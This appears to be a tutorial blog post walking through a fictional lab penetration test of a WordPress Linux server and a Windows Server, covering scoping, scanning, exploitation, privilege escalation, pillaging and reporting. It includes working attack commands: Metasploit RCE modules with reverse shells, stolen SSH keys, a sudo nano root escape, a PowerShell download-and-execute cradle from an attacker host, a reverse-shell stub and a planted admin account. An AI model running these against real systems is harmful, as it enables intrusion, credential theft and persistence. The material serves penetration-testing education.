Penetration Testing in a Nutshell: A Full Lifecycle Walkthrough

Introduction

#

Most penetration testing guides either go too shallow — recycling the same five Nmap flags — or too deep, burying you in theory before you’ve touched a single port. This walkthrough sits in between: a complete, phase-by-phase breakdown of a real engagement, from the first signed NDA to the final root shell.

We’re working two targets in a fictional lab:

• Linux Target — Ubuntu web server running WordPress
• Windows Target — Windows Server 2019 hosting a self-managed Git service with SMB shares

Starting conditions: assumed breach on the Windows side (low-privileged domain user credentials provided), no foothold yet on Linux. Testing type: grey box. Both hosts are RFC 1918 addresses (192.168.x.x / 10.x.x.x).

The methodology follows PTES and OWASP standards. Everything here applies equally to cert prep and production engagements. Let’s get into it.

Phase 1 — Pre-Engagement

#

The engagement doesn’t start when you fire up Nmap. It starts here — with paperwork, boundaries, and a clean workspace. Skip this phase and you’re not a penetration tester; you’re just an unauthorized attacker with good intentions.

Scope Definition

#

Objective: Establish legal protection, define testing boundaries, and align expectations before a single packet is sent.

Key documents: NDA, Scoping Questionnaire, Scoping Document, Authorization Letter.

Scope Questionnaire — Two-Host Assessment

#

Legal & Authorization

Target Identification

Access & Credentials

Testing Methodology

Reporting & Deliverables

Scope Summary: NDA and authorization confirmed. Two hosts in scope: Linux web server (no initial access) and Windows domain host (low-privileged credentials provided). Grey box methodology. Goals: enumerate privilege escalation paths, assess web application vulnerabilities, document findings. Deliverable: technical findings report with remediation.

Rules of Engagement (RoE)

#

Objective: Lock down what’s permitted, how communication flows, and what happens when things go sideways.

RoE Checklist:

• Systems in scope clearly defined — Linux web server + Windows domain host
• Testing timeframe agreed — flexible, no fixed hours
• Prohibited methods listed — DoS, destructive payloads, service disruption
• Emergency contacts documented — team lead / client POC
• Communication channels set — email for updates, phone for critical findings
• Objectives clarified — validate web app security and internal resilience from low-priv starting point
• Evidence handling defined — encrypted storage, destroyed post-delivery
• Written authorization confirmed
• Third-party coordination — N/A (internal lab)

Agreement & Environment Preparation

#

Legal layer:

• NDA signed and archived
• Written permission to test received
• Contact matrix defined (tester ↔ lead/client)

Scope & Rules layer:

• Scoping questionnaire completed
• RoE reviewed and signed
• Timeline locked: prep → test → report

Environment:

/engagement
  /logs         ← all tool output, timestamped
  /screenshots  ← every critical finding captured
  /notes        ← running narrative per phase
  /tools        ← custom scripts and configs

• Clean VM deployed — fresh snapshot, no residual artefacts
• Host isolation confirmed (VPN segmentation or host-only networking)
• Encryption and backup protocols active

Phase 2 — Information Gathering

#

Legal foundations locked. Now we build the map. Information Gathering runs two parallel tracks: external (OSINT) and internal (network scanning). Both feed the same outcome — a prioritized attack surface.

Track 1: OSINT

#

Objective: Use public data to understand the target’s external footprint before touching their infrastructure.

Tools: Google Dorks, LinkedIn, GitHub, job boards, breach databases, passive DNS.

Manual Reconnaissance

#

# Google Dorking
site:target.com filetype:pdf
inurl:login site:target.com
intitle:"index of" site:target.com
ext:php site:target.com
intext:"sql syntax near" site:target.com

LinkedIn is a gold mine for tech stack inference. Job titles tell you everything:

• “DevOps Engineer — AWS” → cloud provider confirmed
• “Kubernetes Administrator” → container orchestration in play
• “Windows Systems Administrator” → Active Directory environment likely

Automated Tooling

#

# GitHub secrets detection
truffleHog --repo https://github.com/target/repo.git
gitleaks detect --source /path/to/repo

# Passive DNS and IP intelligence
# bgp.he.net     → ASN/IP ranges
# ViewDNS.info   → DNS history
# SecurityTrails → Subdomain discovery

What OSINT Feeds Into

#

• Exposed API keys in commit history → direct cloud pivot
• Tech stack from job posts → targeted CVE selection
• Breach data → credential stuffing against login portals, VPNs, OWA

OSINT Finding (Example): Exposed credentials discovered in public GitHub commit history. AWS keys present. Recommended immediate action: rotate secrets, implement secrets scanning in CI/CD pipeline, monitor breach databases for further exposure.

Rules of thumb:

• Historical commits contain more secrets than current code. Always go back.
• Job posts + tech stack + breach data = complete attack surface picture.
• OSINT findings directly inform every phase that follows. Document everything.

Track 2: Network and Service Scanning

#

Objective: Identify live hosts, open ports, and exposed services within authorized scope.

Tools: Nmap, masscan, netexec, service-specific NSE scripts.

Scan Strategy — Start Broad, Go Deep

#

Never run one loud scan when progressive scanning gives you more:

# Step 1: Host discovery
nmap -sn 10.x.x.0/24 -oA ping-sweep

# Step 2: Quick top-1000 port scan
nmap -T4 -F 10.x.x.10 10.x.x.20 -oA quick-scan

# Step 3: Full port scan with version detection
nmap -sV -sC -p- 10.x.x.10 10.x.x.20 -oA full-version-scan

# Step 4: UDP (the forgotten attack surface)
nmap -sU --top-ports 20 10.x.x.10 10.x.x.20 -oA udp-scan

# Step 5: OS detection
nmap -O --traceroute 10.x.x.10 10.x.x.20 -oA os-detection

Scan Results

#

Host: 10.x.x.10 — Linux Web Server
  21/tcp  open  ftp    ProFTPD 1.3.5e
  22/tcp  open  ssh    OpenSSH 8.9p1 Ubuntu
  80/tcp  open  http   nginx 1.18.0
  443/tcp open  https  Apache httpd 2.4.52
  8000, 8001, 8080, 8889 → Go language services
  3306/tcp filtered → possible MySQL
  OS: Linux 5.4-5.15 (Ubuntu 20.04/22.04)

Host: 10.x.x.20 — Windows Domain Host
  22/tcp   open  ssh   OpenSSH for Windows 9.5
  445/tcp  open  smb   Windows Server 2019 Standard 17763
  3000/tcp open  http  Go net/http (Git service)
  3389/tcp open  rdp   Terminal Services
  5985/tcp open  http  WinRM
  53, 88, 389/tcp filtered → DNS, Kerberos, LDAP (AD indicators)
  OS: Windows Server 2019

Targeted Service Deep-Dive

#

# SMB enumeration
nmap --script smb-enum-shares,smb-os-discovery -p445 10.x.x.20

# FTP anonymous access check
nmap --script ftp-anon -p21 10.x.x.10

# Web server fingerprinting
whatweb http://10.x.x.10
whatweb https://10.x.x.10

# TLS analysis
sslscan 10.x.x.10:443
nmap --script ssl-enum-ciphers -p443 10.x.x.10

Initial Attack Surface Map

#

Scan Summary: 2 active hosts, 20+ exposed services. Linux host runs ProFTPD 1.3.5e — known RCE path. Windows host exposes SMB, RDP, WinRM, and an outdated Git service. Custom Go services on non-standard ports add additional attack surface. Prioritize FTP and SMB enumeration next.

Phase 3 — Vulnerability Assessment

#

Data is in. Now we filter signal from noise and identify the fastest paths to access. This phase is about prioritization — hit the easy wins first, then work the complex chains.

Identifying Low-Hanging Fruit

#

Linux Target (10.x.x.10)

#

sudo nmap -p21,22,443 -sV -sC 10.x.x.10

Findings:

• FTP (21): ProFTPD — anonymous login allowed. File WordPress_Setup_Notes.txt present. Owned by user john.
• SSH (22): OpenSSH 8.9p1 — current, no quick CVE
• HTTPS (443): WordPress 6.7.2, domain example.local, sample page active

Windows Target (10.x.x.20)

#

sudo nmap -p- -sV -sC 10.x.x.20 -T5 -Pn

Findings:

• OS: Windows Server 2019 Standard (build 17763), hostname SRV-WIN01
• SMB (445): Message signing disabled, SMBv1 enabled — relay attack candidate
• RDP (3389): Exposed
• Git Service (3000): v1.12.4 (outdated), cookies and headers exposed, app name “Company Git”

Vulnerability Priority Map

#

Assessment Summary: FTP anonymous access and WordPress plugin vulnerability represent the fastest paths into the Linux host. SMBv1 with signing disabled and an outdated Git service are the priority vectors on Windows. Enumerate before exploiting.

Phase 4 — Linux Target: Exploitation & Privilege Escalation

#

Linux Information Gathering

#

FTP Enumeration

#

FTP is cleartext. Any credential or file transmitted here is already compromised.

ftp 10.x.x.10 21
# Login: anonymous / anonymous

What we found:

ftp> ls -al
# Reveals john's home directory

ftp> get WordPress_Setup_Notes.txt
ftp> get .bash_history
ftp> cd .ssh
ftp> get id_rsa
ftp> get id_rsa.pub

File analysis:

WordPress_Setup_Notes.txt — confirms temporary FTP server, development context, developer name “John” from the dev team. Internal comms exposed.

.bash_history — contains this:

echo "john:[REDACTED]" | sudo chpasswd

Password change with credentials stored in shell history. Classic.

id_rsa — SSH private key with no passphrase. Ready to use.

WordPress Enumeration

#

wpscan --url https://10.x.x.10 -e p --disable-tls-checks --no-banner --plugins-detection passive -t 100

Results:

• Server: Apache/2.4.52 (Ubuntu)
• WordPress: 6.7.2
• XML-RPC: Enabled
• Theme: twentytwentyfive v1.0
• Plugin: custom-form-plugin v1.1.0 ← target

Vulnerability:

• Type: Unauthenticated Arbitrary File Upload → RCE
• Affected: versions ≤ 1.1.0
• Root cause: missing file type validation
• Target version: 1.1.0 → confirmed vulnerable

Attack Vectors Identified — Linux

#

Linux Initial Access

#

Three viable entry points. We test all three.

Vector 1: WordPress RCE via Metasploit

#

msfconsole -q
use exploit/multi/http/wp_plugin_rce
set rhosts 10.x.x.10
set rport 443
set ssl true
set lhost 10.x.x.x
set lport 4444
exploit

Exploitation chain: reverse handler → vulnerability confirmed → payload uploaded → payload triggered → Meterpreter session.

sysinfo     # Linux ubuntu 5.15.0-generic
shell
id          # uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(john)

Access obtained as www-data. Limited but in.

Vector 2: SSH Private Key

#

ssh -i id_rsa john@10.x.x.10

No passphrase, direct john shell. OS: Ubuntu 22.04.4 LTS, kernel 5.15.0, 150+ pending updates.

Vector 3: SSH Password

#

ssh john@10.x.x.10
# Password: [REDACTED from .bash_history]

Valid. Credentials still active.

Initial Access Summary

#

Root cause: a single misconfigured FTP service exposed SSH keys, shell history with plaintext credentials, and internal documentation — three distinct attack paths from one finding.

Linux Post-Exploitation Enumeration

#

The most common mistake after landing a shell is rushing straight to privilege escalation. Enumerate first. You can’t escalate what you don’t understand.

Collect before exploiting:

1. OS version and kernel — patch level
2. Current user context — privileges and group memberships
3. Network interfaces, routes, active connections
4. Running processes and listening ports
5. File system — SUID/SGID binaries, writable directories, cron jobs
6. Installed software versions
7. Security mechanisms — firewall, SELinux, AppArmor

Automated Enumeration with LinPEAS

#

# On attacker machine
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
scp -i id_rsa ./linpeas.sh john@10.x.x.10:/home/john/

# On target
bash linpeas.sh -a -N > linpeas_results.txt

# Retrieve
scp -i id_rsa john@10.x.x.10:/home/john/linpeas_results.txt ./

LinPEAS colour logic:

• 🔴 Red — high-probability escalation vector
• 🟡 Yellow — worth manual analysis
• 🟢 Green — general enumeration data

Key Findings

#

OS: Linux version 5.15.0-generic (Ubuntu 22.04.4 LTS)
User: uid=1000(john) gid=1000(john) groups=1000(john),27(sudo)

Sudo rights:

sudo -l

User john may run:
    (root) NOPASSWD: /usr/bin/nano
    (ALL : ALL) ALL

Two paths here — one without a password. Also note:

uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(john)

www-data is in john’s group. The web server process can read john’s files.

Vulnerability Assessment Summary

#

Linux Privilege Escalation

#

Two methods. Method 1 doesn’t require a password.

Method 1: GTFOBins — Nano Shell Escape

#

sudo /usr/bin/nano
# Press CTRL+R then CTRL+X
# At the command prompt:
reset; /bin/bash 1>&0 2>&0

id
# uid=0(root) gid=0(root) groups=0(root)

Root. No password required.

Method 2: Direct Sudo (Password Known)

#

sudo su
# or
sudo bash
# Password: [REDACTED — already obtained from .bash_history]

Mitigation

#

Remove the passwordless nano entry:

visudo
# Remove: john ALL=(root) NOPASSWD: /usr/bin/nano

Fix group membership:

sudo gpasswd -d www-data john

Long-term: implement principle of least privilege, audit sudo configurations quarterly, monitor sudo usage via auditd.

Phase 5 — Windows Target: Exploitation & Privilege Escalation

#

Windows Information Gathering

#

sudo nmap -p- -sV -sC 10.x.x.20 -T5 -Pn

System: Windows Server 2019 Standard, hostname SRV-WIN01, workgroup WORKGROUP

Red flags: SMB signing disabled, SMBv1 enabled, SSH present (unusual on Windows).

Git Service (Port 3000)

#

• Application: Self-hosted Git v1.12.4
• Backend: Go 1.14.8
• Patched version: 1.13.0+
• Status: Outdated and vulnerable

SMB Analysis

#

netexec smb 10.x.x.20

SMB 10.x.x.20 445 SRV-WIN01 [*] Windows Server 2019 Standard 17763 x64 (signing:False) (SMBv1:True)

# Share enumeration via guest account
netexec smb 10.x.x.20 -u guest -p '' --shares

Discovered shares: ADMIN$, C$, Data, IPC$

Custom Data share — worth investigating.

Windows Initial Access

#

We have john’s credentials from the Linux target. Password reuse is the most common real-world finding. Test it first.

SMB — Password Reuse

#

netexec smb 10.x.x.20 -u "john" -p '[REDACTED]' --shares

Result: credentials valid, read access to Data share, backup_script.ps1 found.

netexec smb 10.x.x.20 -u "john" -p '[REDACTED]' --share Data --get-file backup_script.ps1 backup_script.ps1

Script contents:

$username = "SRV-WIN01\john"
$password = "[REDACTED]"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
# ... file copy logic ...

Hardcoded credentials in a shared script. The Windows environment hands us the same credentials we already have — and confirms they’re embedded in automation scripts accessible by any user with share read access.

RDP Access

#

xfreerdp /u:john /p:"[REDACTED]" /v:10.x.x.20

Successful session as SRV-WIN01\john.

Git Service RCE

#

msfconsole -q
use exploit/multi/http/git_hooks_rce
set RHOSTS 10.x.x.20
set RPORT 3000
set USERNAME john
set PASSWORD [REDACTED]
set LHOST 10.x.x.x
set LPORT 4444
exploit

Meterpreter session established. Git Hook RCE — patched in 1.13.0, we’re hitting 1.12.4.

Initial Access Summary

#

Windows Post-Exploitation Enumeration

#

User Privileges

#

whoami /priv

Group memberships: Event Log Readers, Remote Desktop Users, Users — no admin, but SeImpersonatePrivilege is a viable escalation path.

Scheduled Tasks

#

schtasks /query /fo LIST /v

TaskName:     \BackupAgent
Run As User:  Administrator
Task To Run:  powershell.exe -File C:\ProgramData\Backup\Scripts\backup_prep.ps1
Schedule:     Every 2 minutes

A script running as Administrator every two minutes. Now we check who can write to it.

WinPEAS

#

# Attacker
wget https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1
python3 -m http.server 8080

# Target
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.x.x.x:8080/winPEAS.ps1')" > winpeas.txt

Critical finding:

BUILTIN\Users has 'Write' perms for C:\ProgramData

john can write to the directory containing the Administrator’s scheduled script.

Privilege Escalation Vectors

#

Windows Privilege Escalation

#

The path of least resistance: modify the script that runs as Administrator.

Step-by-Step

#

Step 1: Verify write access

Get-Acl "C:\ProgramData\Backup\Scripts\backup_prep.ps1" | Format-List

Step 2: Add escalation payload to script

Add-LocalGroupMember -Group "Administrators" -Member "SRV-WIN01\john"

Step 3: Wait. Task runs every 2 minutes.

Step 4: Verify

net user john

john is now in the Administrators group.

Alternative Methods

#

Reverse shell option:

$client = New-Object System.Net.Sockets.TCPClient('10.x.x.x', 4444)
# ... reverse shell payload ...

Create a separate admin account:

net user tempuser Password123! /add
net localgroup administrators tempuser /add

Full Attack Chain — Windows

#

1. Initial access via Git Hook RCE (v1.12.4)
2. Enumerated SeImpersonatePrivilege and writable C:\ProgramData
3. Discovered BackupAgent task running as Administrator with user-writable script
4. Injected Add-LocalGroupMember into backup_prep.ps1
5. Task executed → john added to Administrators
6. Full admin access confirmed

Mitigation

#

# Remove write permissions immediately
icacls "C:\ProgramData\Backup\Scripts\backup_prep.ps1" /remove "BUILTIN\Users"

Long-term: run scheduled tasks with least-privilege service accounts, enforce script signing, implement file integrity monitoring on C:\ProgramData, audit scheduled tasks for over-privileged execution contexts.

Windows Pillaging

#

With admin access locked in, we run post-exploitation data collection.

Tooling: WinPill.ps1 or manual enumeration — captures system info, autoruns, scheduled tasks, user configuration, network state, event logs, and sensitive files.

Critical find:

C:\Users\Administrator\customer_data.csv

Contains: customer IDs, names, emails, phone numbers, physical addresses, dates of birth, SSNs, credit card numbers, expiry dates, CVV codes.

Regulatory Exposure

#

This is no longer just a technical finding. A single unencrypted CSV in an Administrator’s home directory turns a privilege escalation into a regulatory event.

Mitigations: Encrypt sensitive data at rest, implement DLP, restrict file access to business-need-only, classify data formally, enable file access monitoring.

Phase 6 — Proof-of-Concept & Documentation

#

A finding without evidence isn’t a finding — it’s a claim. The PoC is how you prove it happened, make it reproducible, and give the client something actionable.

PoC Structure

#

For each finding:

1. Information Gathering — how the target was identified
2. Vulnerability Assessment — what was found and why it matters
3. Exploitation — step-by-step commands with output
4. Local Enumeration — what post-exploitation revealed
5. Privilege Escalation — the escalation path with evidence
6. Pillaging — data accessed or extractable

Every step needs:

• The exact command executed
• The output (screenshot or text capture)
• Context explaining why this matters

Example PoC Entry — FTP Anonymous Access

#

# Step 1: Confirm anonymous FTP access
ftp 10.x.x.10 21
# Login: anonymous / anonymous
# Result: 230 Login successful

# Step 2: List directory contents
ls -al
# Reveals: WordPress_Setup_Notes.txt, .bash_history, .ssh/ directory

# Step 3: Extract sensitive files
get .bash_history
cd .ssh && get id_rsa

# Step 4: Confirm credential exposure
grep "chpasswd" .bash_history
# Output: echo "john:[REDACTED]" | sudo chpasswd

# Step 5: Use key for SSH access
ssh -i id_rsa john@10.x.x.10
# Result: Immediate shell as john — no passphrase required

Finding severity: Critical. A single misconfigured service provided credentials, a private key, and internal documentation — three independent paths to compromise.

Report Structure

#

A professional pentest report contains:

1. Statement of Confidentiality
2. Engagement Contacts
3. Executive Summary (if required)
4. Assignment & Scope
5. Assessment Summary
6. Compromise Walkthrough — the PoC, phase by phase
7. Remediation Summary — prioritized, actionable, feasible

Quality bar: Technical accuracy (verifiable), clarity (readable by both engineers and decision-makers), actionability (specific fixes, not vague guidance).

Phase 7 — Post-Engagement

#

Reporting & Delivery

#

Deliver findings structured by severity:

• Critical / High — immediate action required
• Medium — schedule for next patch cycle
• Low / Informational — address in hardening review

Business impact framing matters for client buy-in. The customer_data.csv finding isn’t just a “weak file permissions” issue — it’s a potential €20M GDPR event and a PCI DSS compliance failure. Frame it accordingly.

Remediation Planning

#

Work with the client’s IT team to assess feasibility — the best remediation is one that gets implemented, not the theoretically perfect fix that never ships. Where quick wins exist (removing anonymous FTP access, rotating exposed credentials), drive those first. Structural fixes (data classification policy, secrets management in CI/CD, scheduled task privilege audits) go into the roadmap.

Cleanup

#

• Remove all uploaded tools from target systems
• Delete any created accounts or modified scripts (or document those that require client action)
• Wipe local logs and screenshots after report delivery (per agreed data destruction policy)
• Confirm with client that all artefacts from the engagement are handled per RoE

Final Thoughts

#

The Attack Chain — Both Targets

#

Linux:
Anonymous FTP → shell history with plaintext creds + unprotected SSH key → john shell → sudo nano NOPASSWD → root

Windows:
Password reuse from Linux → SMB access → backup_script.ps1 with hardcoded creds → RDP + Git RCE → writable scheduled task script → john added to Administrators → full admin access → unencrypted PII on Administrator’s desktop

Two hosts. Multiple critical findings on each. Every single one preventable with basic security hygiene.

The Consistent Patterns

#

Across both targets, the same categories of failure appear:

• Credential exposure — shell history, hardcoded scripts, reused passwords across systems
• Least privilege violations — passwordless sudo for a text editor, user-writable Administrator scripts
• Outdated software — ProFTPD 1.3.5e, Git v1.12.4 — both with public exploits
• Legacy protocol enablement — SMBv1, anonymous FTP
• Sensitive data protection — plaintext PII in an accessible location

None of these required advanced techniques to exploit. The methodology surfaced them systematically.

Reference

#

Standards & Frameworks

#

• PTES — Penetration Testing Execution Standard
• OWASP Testing Guide
• NIST SP 800-115
• OSSTMM

Core Toolkit

#

Practice Environments

#

• Hack The Box (HTB) — structured labs, Pro Labs for realistic enterprise scenarios
• TryHackMe — guided learning paths
• VulnHub — downloadable vulnerable VMs
• CTF competitions — technique reinforcement under time pressure